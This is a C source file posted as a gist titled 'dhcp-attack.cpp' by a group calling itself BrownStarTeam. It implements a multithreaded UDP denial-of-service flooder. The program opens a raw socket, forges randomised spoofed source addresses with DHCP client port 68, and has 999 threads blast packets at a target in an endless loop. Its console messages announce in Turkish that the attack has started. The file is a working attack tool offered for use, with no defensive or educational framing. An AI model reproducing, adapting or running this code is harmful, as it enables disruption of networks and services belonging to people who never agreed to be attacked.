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avelardi/dhcp-attack.cpp

Created April 9, 2018 07:12
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dhcp-attack.cpp
///////////BrownStarTeam///////////
#include <time.h>
#include <pthread.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define LINUX system
static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
struct list
{
struct sockaddr_in data;
struct list *next;
struct list *prev;
};
struct list *head;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void init_rand(unsigned long int x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
unsigned long long int t, a = 18782LL;
static unsigned long int i = 4095;
unsigned long int x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = rand();
iph->id = htons(rand()%65535);
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = 17;
iph->check = 0;
iph->saddr;
}
void *flood(void *par1)
{
struct thread_data *td = (struct thread_data *)par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin = td->sin;
struct list *list_node = td->list_node;
int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(s == -1)
{
fprintf(stderr, "Can't open raw socket.\n");
exit(-1);
}
memset(datagram, 0, MAX_PACKET_SIZE);
setup_ip_header(iph);
udph->check = 0;
udph->dest = htons(floodport);
int size;
size = rand()%20+1;
init_rand(time(NULL));
memcpy((void *)udph + sizeof(struct udphdr), "", size);
udph->len=htons(sizeof(struct udphdr) + size);
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + size;
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) == -1)
{
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
exit(-1);
}
for(;;)
{
iph->saddr = (unsigned long) rand_cmwc();
udph->source = htons(68);
iph->id = rand_cmwc();
//check
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
}
}
#define KGREEN "\x1b[92m"
#define RESET "\033[0m"
int main(int argc, char *argv[ ])
{
printf(KGREEN "#BRS DHCP Clients Spooffed Script | BrownStarTeam'\n" RESET);
if(argc < 3 || argc > 3){
fprintf(stdout, "Usage: %s <IP> <Port>\n", argv[0]);
exit(-1);
}
fprintf(stdout, "Soketler Oluşturuluyor...\n");
int i;
int num_threads = 999;
floodport = atoi(argv[2]);
head = (struct list *)malloc(sizeof(struct list));
bzero(&head->data, sizeof(head->data));
head->data.sin_addr.s_addr=inet_addr("192.168.3.100");
head->data.sin_port=floodport;
head->next = head;
head->prev = head;
struct list *current = head->next;
pthread_t thread[num_threads];
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(floodport);
sin.sin_addr.s_addr = inet_addr(argv[1]);
struct thread_data td[num_threads];
for(i = 0;i<num_threads;i++)
{
td[i].thread_id = i;
td[i].sin= sin;
td[i].list_node = current;
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
}
fprintf(stdout, "Saldiri Başladi...\n");
sleep(999);
return 0;
}
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